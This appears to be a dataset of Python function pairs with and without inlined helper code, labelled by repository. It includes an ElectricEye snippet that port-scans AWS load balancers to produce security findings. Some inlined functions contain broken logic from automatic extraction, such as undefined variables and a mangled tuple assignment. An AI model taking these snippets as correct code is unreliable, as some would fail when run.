results = nmap.nmap_tcp_scan(elbv2DnsName, args='-Pn -p 21,22,23,25,80,110,139,445,3389,1433,3306,2049,2375,1521,5432,5601,8182,8080,8089,10250,6379,9092,27017,5672,4040')
print(f"Scanning {'Application load balancer'} {elbv2Name} on {elbv2DnsName}")
scanner = results
except KeyError:
results = None
if scanner == None:
continue
else:
keys = scanner.keys()
hostIp = list(keys)[0]
for (index, p) in enumerate(scanner[hostIp]['ports']):
checkIdNumber = str(int(index + 1))
portNumber = int(p['portid'])
if portNumber == 8089:
serviceName = 'SPLUNKD'
elif portNumber == 10250:
serviceName = 'KUBERNETES-API'
elif portNumber == 5672:
serviceName = 'RABBITMQ'
elif portNumber == 4040:
serviceName = 'SPARK-WEBUI'
else:
serviceName = str(p['service']['name']).upper()
serviceStateReason = str(p['reason'])
serviceState = str(p['state'])
if serviceState == 'open':
finding = {'SchemaVersion': '2018-10-08', 'Id': f'{elbv2Arn}/attack-surface-elbv2-open-{serviceName}-check', 'ProductArn': f'arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default', 'GeneratorId': elbv2Arn, 'AwsAccountId': awsAccountId, 'Types': ['Software and Configuration Checks/AWS Security Best Practices/Network Reachability', 'TTPs/Discovery'], 'FirstObservedAt': iso8601Time, 'CreatedAt': iso8601Time, 'UpdatedAt': iso8601Time, 'Severity': {'Label': 'HIGH'}, 'Confidence': 99, 'Title': f'[AttackSurface.ELBv2.{checkIdNumber}] Application Load Balancers should not be publicly reachable on {serviceName}', 'Description': f'Application load balancer {elbv2Name} is publicly reachable on port {portNumber} which corresponds to the {serviceName} service. When Services are successfully fingerprinted by the ElectricEye Attack Surface Management Auditor it means the instance is Public, has an open Secuirty Group rule, and a running service on the host which adversaries can also see. Refer to the remediation insturctions for an example of a way to secure EC2 instances.', 'Remediation': {'Recommendation': {'Text': 'For more information on ALB security group reccomendations refer to the Security groups for your Application Load Balancer section of the Application Load Balancers User Guide.', 'Url': 'https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-update-security-groups.html#security-group-recommended-rules'}}, 'ProductFields': {'Product Name': 'ElectricEye'}, 'Resources': [{'Type': 'AwsElbv2LoadBalancer', 'Id': elbv2Arn, 'Partition': awsPartition, 'Region': awsRegion, 'Details': {'AwsElbv2LoadBalancer': {'DNSName': elbv2DnsName, 'IpAddressType': elbv2IpAddressType, 'Scheme': elbv2Scheme, 'Type': elbv2LbType, 'VpcId': elbv2VpcId}}}], 'Compliance': {'Status': 'FAILED', 'RelatedRequirements': ['NIST CSF PR.AC-3', 'NIST SP 800-53 AC-1', 'NIST SP 800-53 AC-17', 'NIST SP 800-53 AC-19', 'NIST SP 800-53 AC-20', 'NIST SP 800-53 SC-15', 'AICPA TSC CC6.6', 'ISO 27001:2013 A.6.2.1', 'ISO 27001:2013 A.6.2.2', 'ISO 27001:2013 A.11.2.6', 'ISO 27001:2013 A.13.1.1', 'ISO 27001:2013 A.13.2.1', 'MITRE ATT&CK T1040', 'MITRE ATT&CK T1046', 'MITRE ATT&CK T1580', 'MITRE ATT&CK T1590', 'MITRE ATT&CK T1592', 'MITRE ATT&CK T1595']}, 'Workflow': {'Status': 'NEW'}, 'RecordState': 'ACTIVE'}
yield finding
else:
finding = {'SchemaVersion': '2018-10-08', 'Id': f'{elbv2Arn}/attack-surface-elbv2-open-{serviceName}-check', 'ProductArn': f'arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default', 'GeneratorId': elbv2Arn, 'AwsAccountId': awsAccountId, 'Types': ['Software and Configuration Checks/AWS Security Best Practices/Network Reachability', 'TTPs/Discovery'], 'FirstObservedAt': iso8601Time, 'CreatedAt': iso8601Time, 'UpdatedAt': iso8601Time, 'Severity': {'Label': 'INFORMATIONAL'}, 'Confidence': 99, 'Title': f'[AttackSurface.ELBv2.{checkIdNumber}] Application Load Balancers should not be publicly reachable on {serviceName}', 'Description': f'Application load balancer {elbv2Name} is not publicly reachable on port {portNumber} which corresponds to the {serviceName} service due to {serviceStateReason}. ALBs and their respective Security Groups should still be reviewed for minimum necessary access.', 'Remediation': {'Recommendation': {'Text': 'For more information on ALB security group reccomendations refer to the Security groups for your Application Load Balancer section of the Application Load Balancers User Guide.', 'Url': 'https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-update-security-groups.html#security-group-recommended-rules'}}, 'ProductFields': {'Product Name': 'ElectricEye'}, 'Resources': [{'Type': 'AwsElbv2LoadBalancer', 'Id': elbv2Arn, 'Partition': awsPartition, 'Region': awsRegion, 'Details': {'AwsElbv2LoadBalancer': {'DNSName': elbv2DnsName, 'IpAddressType': elbv2IpAddressType, 'Scheme': elbv2Scheme, 'Type': elbv2LbType, 'VpcId': elbv2VpcId}}}], 'Compliance': {'Status': 'PASSED', 'RelatedRequirements': ['NIST CSF PR.AC-3', 'NIST SP 800-53 AC-1', 'NIST SP 800-53 AC-17', 'NIST SP 800-53 AC-19', 'NIST SP 800-53 AC-20', 'NIST SP 800-53 SC-15', 'AICPA TSC CC6.6', 'ISO 27001:2013 A.6.2.1', 'ISO 27001:2013 A.6.2.2', 'ISO 27001:2013 A.11.2.6', 'ISO 27001:2013 A.13.1.1', 'ISO 27001:2013 A.13.2.1', 'MITRE ATT&CK T1040', 'MITRE ATT&CK T1046', 'MITRE ATT&CK T1580', 'MITRE ATT&CK T1590', 'MITRE ATT&CK T1592', 'MITRE ATT&CK T1595']}, 'Workflow': {'Status': 'RESOLVED'}, 'RecordState': 'ARCHIVED'}
yield finding
else:
continue
|
ElectricEye
|
positive
|
def _convert_xml_to_retention_policy(xml, retention_policy):
"""
<Enabled>true|false</Enabled>
<Days>number-of-days</Days>
"""
<DeepExtract>
retention_policy.enabled = xml.find('Enabled').text.lower() == 'true'
</DeepExtract>
days_element = xml.find('Days')
if days_element is not None:
retention_policy.days = int(days_element.text)
|
def _convert_xml_to_retention_policy(xml, retention_policy):
"""
<Enabled>true|false</Enabled>
<Days>number-of-days</Days>
"""
retention_policy.enabled = xml.find('Enabled').text.lower() == 'true'
days_element = xml.find('Days')
if days_element is not None:
retention_policy.days = int(days_element.text)
|
azure-cosmos-table-python
|
positive
|
def __init__(self, use_type_embeddings=False, token_type_vocab_size=None, use_position_embeddings=True, max_position_embeddings=512, dropout_prob=0.0, initializer_range=0.02, initializer=None, **kwargs):
super(EmbeddingPostprocessor, self).__init__(**kwargs)
self.use_type_embeddings = use_type_embeddings
self.token_type_vocab_size = token_type_vocab_size
self.use_position_embeddings = use_position_embeddings
self.max_position_embeddings = max_position_embeddings
self.dropout_prob = dropout_prob
self.initializer_range = initializer_range
if not initializer:
<DeepExtract>
self.initializer = tf.keras.initializers.TruncatedNormal(stddev=self.initializer_range)
</DeepExtract>
else:
self.initializer = initializer
if self.use_type_embeddings and (not self.token_type_vocab_size):
raise ValueError('If `use_type_embeddings` is True, then `token_type_vocab_size` must be specified.')
|
def __init__(self, use_type_embeddings=False, token_type_vocab_size=None, use_position_embeddings=True, max_position_embeddings=512, dropout_prob=0.0, initializer_range=0.02, initializer=None, **kwargs):
super(EmbeddingPostprocessor, self).__init__(**kwargs)
self.use_type_embeddings = use_type_embeddings
self.token_type_vocab_size = token_type_vocab_size
self.use_position_embeddings = use_position_embeddings
self.max_position_embeddings = max_position_embeddings
self.dropout_prob = dropout_prob
self.initializer_range = initializer_range
if not initializer:
self.initializer = tf.keras.initializers.TruncatedNormal(stddev=self.initializer_range)
else:
self.initializer = initializer
if self.use_type_embeddings and (not self.token_type_vocab_size):
raise ValueError('If `use_type_embeddings` is True, then `token_type_vocab_size` must be specified.')
|
autodist
|
positive
|
def __getitem__(self, index):
<DeepExtract>
image = self.get_image(index)
masks = self.get_mask(index)
batch = {'img': image, 'mask': masks}
</DeepExtract>
if self.transform is None:
return batch
return self.transform(batch)
|
def __getitem__(self, index):
image = self.get_image(index)
masks = self.get_mask(index)
batch = {'img': image, 'mask': masks}
if self.transform is None:
return batch
return self.transform(batch)
|
DeepPrivacy
|
positive
|
def estimateTrends(self):
self.mTime = self.mTimeInfo.mTime
self.mSignal = self.mTimeInfo.mSignal
self.mTrendFrame = pd.DataFrame()
self.mTimeInfo.addVars(self.mTrendFrame)
for trend in self.mTrendList:
trend.mOptions = self.mOptions
trend.fit()
if trend.mOptions.mDebugPerformance:
trend.computePerf()
self.mTrendFrame[trend.mOutName] = trend.mTrendFrame[trend.mOutName]
self.mTrendFrame[trend.mOutName + '_residue'] = trend.mTrendFrame[trend.mOutName + '_residue']
if self.mOptions.mDebug:
<DeepExtract>
if np.isnan(self.mTrendFrame[trend.mOutName + '_residue'].values).any():
raise tsutil.Internal_PyAF_Error("Invalid residue '" + trend.mOutName + '_residue' + "'")
pass
</DeepExtract>
pass
|
def estimateTrends(self):
self.mTime = self.mTimeInfo.mTime
self.mSignal = self.mTimeInfo.mSignal
self.mTrendFrame = pd.DataFrame()
self.mTimeInfo.addVars(self.mTrendFrame)
for trend in self.mTrendList:
trend.mOptions = self.mOptions
trend.fit()
if trend.mOptions.mDebugPerformance:
trend.computePerf()
self.mTrendFrame[trend.mOutName] = trend.mTrendFrame[trend.mOutName]
self.mTrendFrame[trend.mOutName + '_residue'] = trend.mTrendFrame[trend.mOutName + '_residue']
if self.mOptions.mDebug:
if np.isnan(self.mTrendFrame[trend.mOutName + '_residue'].values).any():
raise tsutil.Internal_PyAF_Error("Invalid residue '" + trend.mOutName + '_residue' + "'")
pass
pass
|
atspy
|
positive
|
def remove_dist(self, login, package_name, release, basename=None, _id=None):
if basename:
url = '%s/dist/%s/%s/%s/%s' % (self.domain, login, package_name, release, basename)
elif _id:
url = '%s/dist/%s/%s/%s/-/%s' % (self.domain, login, package_name, release, _id)
else:
raise TypeError("method remove_dist expects either 'basename' or '_id' arguments")
res = self.session.delete(url)
<DeepExtract>
allowed = [200] if allowed is None else allowed
api_version = res.headers.get('x-binstar-api-version', '0.2.1')
if pv(api_version) > pv(__version__):
logger.warning('The api server is running the binstar-api version %s. you are using %s\nPlease update your client with pip install -U binstar or conda update binstar', api_version, __version__)
if not self._token_warning_sent and 'Conda-Token-Warning' in res.headers:
logger.warning('Token warning: %s', res.headers['Conda-Token-Warning'])
self._token_warning_sent = True
if 'X-Anaconda-Lockdown' in res.headers:
logger.warning('Anaconda repository is currently in LOCKDOWN mode.')
if 'X-Anaconda-Read-Only' in res.headers:
logger.warning('Anaconda repository is currently in READ ONLY mode.')
if res.status_code not in allowed:
(short, long) = STATUS_CODES.get(res.status_code, ('?', 'Undefined error'))
msg = '%s: %s ([%s] %s -> %s)' % (short, long, res.request.method, res.request.url, res.status_code)
try:
data = res.json()
except Exception:
data = {}
msg = data.get('error', msg)
ErrCls = errors.BinstarError
if res.status_code == 401:
ErrCls = errors.Unauthorized
elif res.status_code == 404:
ErrCls = errors.NotFound
elif res.status_code == 409:
ErrCls = errors.Conflict
elif res.status_code >= 500:
ErrCls = errors.ServerError
raise ErrCls(msg, res.status_code)
</DeepExtract>
return res.json()
|
def remove_dist(self, login, package_name, release, basename=None, _id=None):
if basename:
url = '%s/dist/%s/%s/%s/%s' % (self.domain, login, package_name, release, basename)
elif _id:
url = '%s/dist/%s/%s/%s/-/%s' % (self.domain, login, package_name, release, _id)
else:
raise TypeError("method remove_dist expects either 'basename' or '_id' arguments")
res = self.session.delete(url)
allowed = [200] if allowed is None else allowed
api_version = res.headers.get('x-binstar-api-version', '0.2.1')
if pv(api_version) > pv(__version__):
logger.warning('The api server is running the binstar-api version %s. you are using %s\nPlease update your client with pip install -U binstar or conda update binstar', api_version, __version__)
if not self._token_warning_sent and 'Conda-Token-Warning' in res.headers:
logger.warning('Token warning: %s', res.headers['Conda-Token-Warning'])
self._token_warning_sent = True
if 'X-Anaconda-Lockdown' in res.headers:
logger.warning('Anaconda repository is currently in LOCKDOWN mode.')
if 'X-Anaconda-Read-Only' in res.headers:
logger.warning('Anaconda repository is currently in READ ONLY mode.')
if res.status_code not in allowed:
(short, long) = STATUS_CODES.get(res.status_code, ('?', 'Undefined error'))
msg = '%s: %s ([%s] %s -> %s)' % (short, long, res.request.method, res.request.url, res.status_code)
try:
data = res.json()
except Exception:
data = {}
msg = data.get('error', msg)
ErrCls = errors.BinstarError
if res.status_code == 401:
ErrCls = errors.Unauthorized
elif res.status_code == 404:
ErrCls = errors.NotFound
elif res.status_code == 409:
ErrCls = errors.Conflict
elif res.status_code >= 500:
ErrCls = errors.ServerError
raise ErrCls(msg, res.status_code)
return res.json()
|
anaconda-client
|
positive
|
def read_block_section(self, text, begin_indent=''):
"""
>>> read_block_section = Parser().read_block_section
>>> read_block_section('for i in range(10): hello $i\\nfoo')
(<block: 'for i in range(10):', [<line: [t'hello ', $i, t'\\n']>]>, 'foo')
>>> read_block_section('for i in range(10):\\n hello $i\\n foo', begin_indent=' ')
(<block: 'for i in range(10):', [<line: [t'hello ', $i, t'\\n']>]>, ' foo')
>>> read_block_section('for i in range(10):\\n hello $i\\nfoo')
(<block: 'for i in range(10):', [<line: [t'hello ', $i, t'\\n']>]>, 'foo')
With inline comment:
>>> read_block_section('for i in range(10): $# inline comment\\n hello $i\\nfoo')
(<block: 'for i in range(10):', []>, ' hello $i\\nfoo')
"""
<DeepExtract>
index = text.find('\n') + 1
if index:
(line, text) = (text[:index], text[index:])
else:
(line, text) = (text, '')
</DeepExtract>
<DeepExtract>
tok = PythonTokenizer(line)
tok.consume_till(':')
(stmt, line) = (line[:tok.index], line[tok.index:])
</DeepExtract>
<DeepExtract>
i = iter([stmt])
readline = lambda : next(i)
tokens = tokenize.generate_tokens(readline)
keyword = next(tokens)[1]
</DeepExtract>
if line.strip() and (not line.lstrip().startswith('$#')):
block = line.lstrip()
else:
def find_indent(text):
rx = re_compile(' +')
match = rx.match(text)
first_indent = match and match.group(0)
return first_indent or ''
first_indent = find_indent(text)[len(begin_indent):]
if keyword == 'code':
indent = begin_indent + first_indent
else:
indent = begin_indent + min(first_indent, INDENT)
<DeepExtract>
if indent == '':
(block, text) = ('', text)
block = ''
while text:
(line, text2) = splitline(text)
if line.strip() == '':
block += '\n'
elif line.startswith(indent):
block += line[len(indent):]
else:
break
text = text2
(block, text) = (block, text)
</DeepExtract>
return (self.create_block_node(keyword, stmt, block, begin_indent), text)
|
def read_block_section(self, text, begin_indent=''):
"""
>>> read_block_section = Parser().read_block_section
>>> read_block_section('for i in range(10): hello $i\\nfoo')
(<block: 'for i in range(10):', [<line: [t'hello ', $i, t'\\n']>]>, 'foo')
>>> read_block_section('for i in range(10):\\n hello $i\\n foo', begin_indent=' ')
(<block: 'for i in range(10):', [<line: [t'hello ', $i, t'\\n']>]>, ' foo')
>>> read_block_section('for i in range(10):\\n hello $i\\nfoo')
(<block: 'for i in range(10):', [<line: [t'hello ', $i, t'\\n']>]>, 'foo')
With inline comment:
>>> read_block_section('for i in range(10): $# inline comment\\n hello $i\\nfoo')
(<block: 'for i in range(10):', []>, ' hello $i\\nfoo')
"""
index = text.find('\n') + 1
if index:
(line, text) = (text[:index], text[index:])
else:
(line, text) = (text, '')
tok = PythonTokenizer(line)
tok.consume_till(':')
(stmt, line) = (line[:tok.index], line[tok.index:])
i = iter([stmt])
readline = lambda : next(i)
tokens = tokenize.generate_tokens(readline)
keyword = next(tokens)[1]
if line.strip() and (not line.lstrip().startswith('$#')):
block = line.lstrip()
else:
def find_indent(text):
rx = re_compile(' +')
match = rx.match(text)
first_indent = match and match.group(0)
return first_indent or ''
first_indent = find_indent(text)[len(begin_indent):]
if keyword == 'code':
indent = begin_indent + first_indent
else:
indent = begin_indent + min(first_indent, INDENT)
if indent == '':
(block, text) = ('', text)
block = ''
while text:
(line, text2) = splitline(text)
if line.strip() == '':
block += '\n'
elif line.startswith(indent):
block += line[len(indent):]
else:
break
text = text2
(block, text) = (block, text)
return (self.create_block_node(keyword, stmt, block, begin_indent), text)
|
cosa-nostra
|
positive
|
def initPlot(self):
""" Plot waveforms """
gsac = self.gsac
opts = self.opts
<DeepExtract>
sortby = opts.sortby
if sortby[-1] == '-':
sortincrease = False
sortby = sortby[:-1]
else:
sortincrease = True
opts.labelqual = True
if sortby == 'i':
(gsac.selist, gsac.delist) = qualsort.seleSeis(gsac.saclist)
elif sortby == 't':
ipick = opts.qcpara.ichdrs[0]
wpick = 't' + str(opts.reltime)
if ipick == wpick:
print('Same time pick: {0:s} and {1:s}. Exit'.format(ipick, wpick))
sys.exit()
(gsac.selist, gsac.delist) = qualsort.sortSeisHeaderDiff(gsac.saclist, ipick, wpick, sortincrease)
elif sortby.isdigit() or sortby in opts.qheaders + ['all']:
if sortby == '1' or sortby == 'ccc':
opts.qweights = [1, 0, 0]
elif sortby == '2' or sortby == 'snr':
opts.qweights = [0, 1, 0]
elif sortby == '3' or sortby == 'coh':
opts.qweights = [0, 0, 1]
(gsac.selist, gsac.delist) = qualsort.sortSeisQual(gsac.saclist, opts.qheaders, opts.qweights, opts.qfactors, sortincrease)
else:
(gsac.selist, gsac.delist) = qualsort.sortSeisHeader(gsac.saclist, sortby, sortincrease)
return
</DeepExtract>
self.ppm = ppk.PickPhaseMenu(gsac, opts, self.axs)
if self.opts.pick_on:
self.ppm.axpp.get_legend().set_visible(False)
|
def initPlot(self):
""" Plot waveforms """
gsac = self.gsac
opts = self.opts
sortby = opts.sortby
if sortby[-1] == '-':
sortincrease = False
sortby = sortby[:-1]
else:
sortincrease = True
opts.labelqual = True
if sortby == 'i':
(gsac.selist, gsac.delist) = qualsort.seleSeis(gsac.saclist)
elif sortby == 't':
ipick = opts.qcpara.ichdrs[0]
wpick = 't' + str(opts.reltime)
if ipick == wpick:
print('Same time pick: {0:s} and {1:s}. Exit'.format(ipick, wpick))
sys.exit()
(gsac.selist, gsac.delist) = qualsort.sortSeisHeaderDiff(gsac.saclist, ipick, wpick, sortincrease)
elif sortby.isdigit() or sortby in opts.qheaders + ['all']:
if sortby == '1' or sortby == 'ccc':
opts.qweights = [1, 0, 0]
elif sortby == '2' or sortby == 'snr':
opts.qweights = [0, 1, 0]
elif sortby == '3' or sortby == 'coh':
opts.qweights = [0, 0, 1]
(gsac.selist, gsac.delist) = qualsort.sortSeisQual(gsac.saclist, opts.qheaders, opts.qweights, opts.qfactors, sortincrease)
else:
(gsac.selist, gsac.delist) = qualsort.sortSeisHeader(gsac.saclist, sortby, sortincrease)
return
self.ppm = ppk.PickPhaseMenu(gsac, opts, self.axs)
if self.opts.pick_on:
self.ppm.axpp.get_legend().set_visible(False)
|
aimbat
|
positive
|
def __call__(self, results):
img = results['img']
<DeepExtract>
labels = results['ann_info']['labels']
masks = results['ann_info']['masks']
bboxes = results['ann_info']['bboxes']
n = len(labels)
anns = []
for i in range(n):
label = labels[i]
bbox = bboxes[i]
mask = masks[i]
(x1, y1, x2, y2) = bbox
bbox = [x1, y1, x2 - x1 + 1, y2 - y1 + 1]
anns.append({'category_id': label, 'segmentation': mask, 'bbox': bbox})
anns = anns
</DeepExtract>
if np.random.choice([0, 1], p=[1 - self.aug_ratio, self.aug_ratio]):
try:
import instaboostfast as instaboost
except ImportError:
raise ImportError('Please run "pip install instaboostfast" to install instaboostfast first.')
(anns, img) = instaboost.get_new_data(anns, img, self.cfg, background=None)
<DeepExtract>
gt_bboxes = []
gt_labels = []
gt_masks_ann = []
for ann in anns:
(x1, y1, w, h) = ann['bbox']
bbox = [x1, y1, x1 + w - 1, y1 + h - 1]
gt_bboxes.append(bbox)
gt_labels.append(ann['category_id'])
gt_masks_ann.append(ann['segmentation'])
gt_bboxes = np.array(gt_bboxes, dtype=np.float32)
gt_labels = np.array(gt_labels, dtype=np.int64)
results['ann_info']['labels'] = gt_labels
results['ann_info']['bboxes'] = gt_bboxes
results['ann_info']['masks'] = gt_masks_ann
results['img'] = img
results = results
</DeepExtract>
return results
|
def __call__(self, results):
img = results['img']
labels = results['ann_info']['labels']
masks = results['ann_info']['masks']
bboxes = results['ann_info']['bboxes']
n = len(labels)
anns = []
for i in range(n):
label = labels[i]
bbox = bboxes[i]
mask = masks[i]
(x1, y1, x2, y2) = bbox
bbox = [x1, y1, x2 - x1 + 1, y2 - y1 + 1]
anns.append({'category_id': label, 'segmentation': mask, 'bbox': bbox})
anns = anns
if np.random.choice([0, 1], p=[1 - self.aug_ratio, self.aug_ratio]):
try:
import instaboostfast as instaboost
except ImportError:
raise ImportError('Please run "pip install instaboostfast" to install instaboostfast first.')
(anns, img) = instaboost.get_new_data(anns, img, self.cfg, background=None)
gt_bboxes = []
gt_labels = []
gt_masks_ann = []
for ann in anns:
(x1, y1, w, h) = ann['bbox']
bbox = [x1, y1, x1 + w - 1, y1 + h - 1]
gt_bboxes.append(bbox)
gt_labels.append(ann['category_id'])
gt_masks_ann.append(ann['segmentation'])
gt_bboxes = np.array(gt_bboxes, dtype=np.float32)
gt_labels = np.array(gt_labels, dtype=np.int64)
results['ann_info']['labels'] = gt_labels
results['ann_info']['bboxes'] = gt_bboxes
results['ann_info']['masks'] = gt_masks_ann
results['img'] = img
results = results
return results
|
D2Det
|
positive
|
def estimate_flow_and_confidence_map(self, source_img, target_img, output_shape=None, scaling=1.0, mode='channel_first'):
"""
Returns the flow field and corresponding confidence map/uncertainty map relating the target to the source image.
Here, the confidence map corresponds to the inverse of the forward-backward cycle consistency error map.
Returned flow has output_shape if provided, otherwise the same dimension than the target image.
If scaling is provided, the output shape is the target image dimension multiplied by this scaling factor.
Args:
source_img: torch tensor, bx3xHxW in range [0, 255], not normalized yet
target_img: torch tensor, bx3xHxW in range [0, 255], not normalized yet
output_shape: int or list of int, or None, output shape of the returned flow field
scaling: float, scaling factor applied to target image shape, to obtain the outputted flow field dimensions
if output_shape is None
mode: if channel_first, flow has shape b, 2, H, W. Else shape is b, H, W, 2
Returns:
flow_est: estimated flow field relating the target to the reference image, resized and scaled to
output_shape (can be defined by scaling parameter)
uncertainty_est: dict with keys 'cyclic_consistency_error'
"""
<DeepExtract>
(b, _, h_scale, w_scale) = target_img.shape
if output_shape is None and scaling != 1.0:
output_shape = (int(h_scale * scaling), int(w_scale * scaling))
elif output_shape is None:
output_shape = (h_scale, w_scale)
(source_img, target_img, ratio_x, ratio_y) = self.pre_process_data(source_img, target_img)
correlation_from_t_to_s = self.forward(im_source=source_img, im_target=target_img)
(h_, w_) = correlation_from_t_to_s.shape[-2:]
correlation_from_t_to_s = correlation_from_t_to_s.view(b, -1, h_, w_)
if self.inference_strategy == 'argmax':
flow_est = correlation_to_flow_w_argmax(correlation_from_t_to_s, output_shape=output_shape, do_softmax=True)
else:
flow_est = correlation_to_flow_w_soft_argmax(correlation_from_t_to_s, output_shape=output_shape, temperature=1.0, apply_softmax=True, stable_softmax=False)
if mode != 'channel_first':
flow_est = flow_est.permute(0, 2, 3, 1)
if True:
correlation_from_t_to_s = torch.nn.functional.softmax(correlation_from_t_to_s.view(b, -1, h_, w_), dim=1)
(flow_est, correlation_from_t_to_s) = (flow_est, correlation_from_t_to_s)
(flow_est, correlation_from_t_to_s) = flow_est
</DeepExtract>
(b, c, h, w) = correlation_from_t_to_s.shape
(max_score, idx_B_Avec) = torch.max(correlation_from_t_to_s, dim=1)
max_score = max_score.view(b, h, w)
max_score = F.interpolate(max_score.unsqueeze(1), flow_est.shape[-2:], mode='bilinear', align_corners=False)
uncertain_score = 1.0 / (max_score + 1e-08)
<DeepExtract>
(b, _, h_scale, w_scale) = source_img.shape
if output_shape is None and scaling != 1.0:
output_shape = (int(h_scale * scaling), int(w_scale * scaling))
elif output_shape is None:
output_shape = (h_scale, w_scale)
(target_img, source_img, ratio_x, ratio_y) = self.pre_process_data(target_img, source_img)
correlation_from_t_to_s = self.forward(im_source=target_img, im_target=source_img)
(h_, w_) = correlation_from_t_to_s.shape[-2:]
correlation_from_t_to_s = correlation_from_t_to_s.view(b, -1, h_, w_)
if self.inference_strategy == 'argmax':
flow_est = correlation_to_flow_w_argmax(correlation_from_t_to_s, output_shape=output_shape, do_softmax=True)
else:
flow_est = correlation_to_flow_w_soft_argmax(correlation_from_t_to_s, output_shape=output_shape, temperature=1.0, apply_softmax=True, stable_softmax=False)
if mode != 'channel_first':
flow_est = flow_est.permute(0, 2, 3, 1)
if True:
correlation_from_t_to_s = torch.nn.functional.softmax(correlation_from_t_to_s.view(b, -1, h_, w_), dim=1)
(flow_est_backward, correlation_from_s_to_t) = (flow_est, correlation_from_t_to_s)
(flow_est_backward, correlation_from_s_to_t) = flow_est
</DeepExtract>
cyclic_consistency_error = torch.norm(flow_est + warp(flow_est_backward, flow_est), dim=1, p=2, keepdim=True)
uncertainty_est = {'cyclic_consistency_error': cyclic_consistency_error, 'corr_score_uncertainty': uncertain_score}
if mode == 'channel_first':
return (flow_est, uncertainty_est)
else:
return (flow_est.permute(0, 2, 3, 1), uncertainty_est)
|
def estimate_flow_and_confidence_map(self, source_img, target_img, output_shape=None, scaling=1.0, mode='channel_first'):
"""
Returns the flow field and corresponding confidence map/uncertainty map relating the target to the source image.
Here, the confidence map corresponds to the inverse of the forward-backward cycle consistency error map.
Returned flow has output_shape if provided, otherwise the same dimension than the target image.
If scaling is provided, the output shape is the target image dimension multiplied by this scaling factor.
Args:
source_img: torch tensor, bx3xHxW in range [0, 255], not normalized yet
target_img: torch tensor, bx3xHxW in range [0, 255], not normalized yet
output_shape: int or list of int, or None, output shape of the returned flow field
scaling: float, scaling factor applied to target image shape, to obtain the outputted flow field dimensions
if output_shape is None
mode: if channel_first, flow has shape b, 2, H, W. Else shape is b, H, W, 2
Returns:
flow_est: estimated flow field relating the target to the reference image, resized and scaled to
output_shape (can be defined by scaling parameter)
uncertainty_est: dict with keys 'cyclic_consistency_error'
"""
(b, _, h_scale, w_scale) = target_img.shape
if output_shape is None and scaling != 1.0:
output_shape = (int(h_scale * scaling), int(w_scale * scaling))
elif output_shape is None:
output_shape = (h_scale, w_scale)
(source_img, target_img, ratio_x, ratio_y) = self.pre_process_data(source_img, target_img)
correlation_from_t_to_s = self.forward(im_source=source_img, im_target=target_img)
(h_, w_) = correlation_from_t_to_s.shape[-2:]
correlation_from_t_to_s = correlation_from_t_to_s.view(b, -1, h_, w_)
if self.inference_strategy == 'argmax':
flow_est = correlation_to_flow_w_argmax(correlation_from_t_to_s, output_shape=output_shape, do_softmax=True)
else:
flow_est = correlation_to_flow_w_soft_argmax(correlation_from_t_to_s, output_shape=output_shape, temperature=1.0, apply_softmax=True, stable_softmax=False)
if mode != 'channel_first':
flow_est = flow_est.permute(0, 2, 3, 1)
if True:
correlation_from_t_to_s = torch.nn.functional.softmax(correlation_from_t_to_s.view(b, -1, h_, w_), dim=1)
(flow_est, correlation_from_t_to_s) = (flow_est, correlation_from_t_to_s)
(flow_est, correlation_from_t_to_s) = flow_est
(b, c, h, w) = correlation_from_t_to_s.shape
(max_score, idx_B_Avec) = torch.max(correlation_from_t_to_s, dim=1)
max_score = max_score.view(b, h, w)
max_score = F.interpolate(max_score.unsqueeze(1), flow_est.shape[-2:], mode='bilinear', align_corners=False)
uncertain_score = 1.0 / (max_score + 1e-08)
(b, _, h_scale, w_scale) = source_img.shape
if output_shape is None and scaling != 1.0:
output_shape = (int(h_scale * scaling), int(w_scale * scaling))
elif output_shape is None:
output_shape = (h_scale, w_scale)
(target_img, source_img, ratio_x, ratio_y) = self.pre_process_data(target_img, source_img)
correlation_from_t_to_s = self.forward(im_source=target_img, im_target=source_img)
(h_, w_) = correlation_from_t_to_s.shape[-2:]
correlation_from_t_to_s = correlation_from_t_to_s.view(b, -1, h_, w_)
if self.inference_strategy == 'argmax':
flow_est = correlation_to_flow_w_argmax(correlation_from_t_to_s, output_shape=output_shape, do_softmax=True)
else:
flow_est = correlation_to_flow_w_soft_argmax(correlation_from_t_to_s, output_shape=output_shape, temperature=1.0, apply_softmax=True, stable_softmax=False)
if mode != 'channel_first':
flow_est = flow_est.permute(0, 2, 3, 1)
if True:
correlation_from_t_to_s = torch.nn.functional.softmax(correlation_from_t_to_s.view(b, -1, h_, w_), dim=1)
(flow_est_backward, correlation_from_s_to_t) = (flow_est, correlation_from_t_to_s)
(flow_est_backward, correlation_from_s_to_t) = flow_est
cyclic_consistency_error = torch.norm(flow_est + warp(flow_est_backward, flow_est), dim=1, p=2, keepdim=True)
uncertainty_est = {'cyclic_consistency_error': cyclic_consistency_error, 'corr_score_uncertainty': uncertain_score}
if mode == 'channel_first':
return (flow_est, uncertainty_est)
else:
return (flow_est.permute(0, 2, 3, 1), uncertainty_est)
|
DenseMatching
|
positive
|
def test_eninge_modes(self):
"""Testing engine modes (no ranks)"""
EQ = self.assertEqual
text = '\n A = B = True\n C = False\n A* = A\n B* = A and B\n C* = not C\n '
for mode in ('sync', 'async'):
<DeepExtract>
eng = boolean.Model(mode=mode, text=text)
eng.initialize(missing=missing)
eng.iterate(steps=5)
states = eng.states
</DeepExtract>
for state in states:
EQ(state.A, True)
funcs = []
values = [map(f, states) for f in funcs]
trues = [filter(istrue, v) for v in values]
(A, B, C) = trues
EQ(len(states), 6)
EQ(len(A), 6)
EQ(len(B), 6)
EQ(len(C), 3)
|
def test_eninge_modes(self):
"""Testing engine modes (no ranks)"""
EQ = self.assertEqual
text = '\n A = B = True\n C = False\n A* = A\n B* = A and B\n C* = not C\n '
for mode in ('sync', 'async'):
eng = boolean.Model(mode=mode, text=text)
eng.initialize(missing=missing)
eng.iterate(steps=5)
states = eng.states
for state in states:
EQ(state.A, True)
funcs = []
values = [map(f, states) for f in funcs]
trues = [filter(istrue, v) for v in values]
(A, B, C) = trues
EQ(len(states), 6)
EQ(len(A), 6)
EQ(len(B), 6)
EQ(len(C), 3)
|
booleannet
|
positive
|
@classmethod
def from_etree(cls, etree_element):
"""
creates a ``SaltEdge`` instance from the etree representation of an
